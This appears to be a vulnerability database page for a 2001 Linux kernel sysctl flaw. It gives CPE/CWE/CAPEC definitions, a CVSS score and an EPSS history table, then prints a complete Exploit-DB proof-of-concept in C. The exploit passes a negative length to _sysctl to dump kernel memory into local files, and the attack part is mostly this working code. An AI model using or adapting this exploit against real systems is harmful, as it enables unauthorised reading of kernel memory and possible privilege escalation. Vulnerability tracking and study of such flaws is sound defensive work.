CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Linux kernel 2.4 and 2.2 allows local users to read kernel memory and possibly gain privileges via a negative argument to the sysctl call.
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V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
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EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.92%
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2022-02-13
–
–
1.92%
–
–
2022-04-03
–
–
1.92%
–
–
2022-06-26
–
–
1.92%
–
–
2022-11-13
–
–
1.92%
–
–
2022-11-20
–
–
1.92%
–
–
2022-12-11
–
–
1.92%
–
–
2022-12-18
–
–
1.92%
–
–
2022-12-25
–
–
1.92%
–
–
2023-01-01
–
–
1.92%
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–
2023-02-12
–
–
1.92%
–
–
2023-03-12
–
–
–
0.04%
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2024-06-02
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–
–
0.04%
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2025-01-19
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–
–
0.04%
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2025-03-18
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–
–
–
0.27%
2025-03-30
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–
–
–
0.27%
2025-04-15
–
–
–
–
0.27%
2025-04-15
–
–
–
–
0.27,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2001-02-08 23h00 +00:00 Author : Chris Evans EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/2364/info
The Linux Kernel is the core of the Linux Operating System. It was originally written by Linus Torvalds, and is publicly maintained.
A problem in the Linux kernel may allow root compromise. The sysctl() call allows a privileged program to read or write kernel parameters. It is possible for underprivileged programs to use this system call to query values within the kernel. The system call accepts signed values, which could allow supplied negative values to reach below the threshold memory address set for system security.
This makes it possible for a user with malicious motives to browse kernel space addresses, and potentially gain elevated privileges, including administrative access.
*/
/* sysctl_exp.c - Chris Evans - February 9, 2001 */
/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);
#define BUFLEN 1000000
int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;
int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -2000000000;
int fd;
char* p_buf;
fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);
memset(p_buf, '\0', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;
_sysctl(&args_of_great_doom);
fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}